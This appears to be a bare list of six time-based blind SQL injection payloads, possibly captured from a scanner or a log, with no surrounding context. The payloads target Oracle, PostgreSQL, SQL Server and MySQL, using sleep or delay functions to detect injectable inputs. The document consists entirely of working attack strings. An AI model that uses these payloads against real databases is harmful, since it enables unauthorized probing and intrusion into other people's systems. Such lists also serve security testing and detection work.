555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555wyPLWWSW') OR 390=(SELECT 390 FROM PG_SLEEP(15))--

555-1)) OR 757=(SELECT 757 FROM PG_SLEEP(15))--

555-1 OR 137=(SELECT 137 FROM PG_SLEEP(15))--

555-1 waitfor delay '0:0:15' --

555*if(now()=sysdate(),sleep(15),0)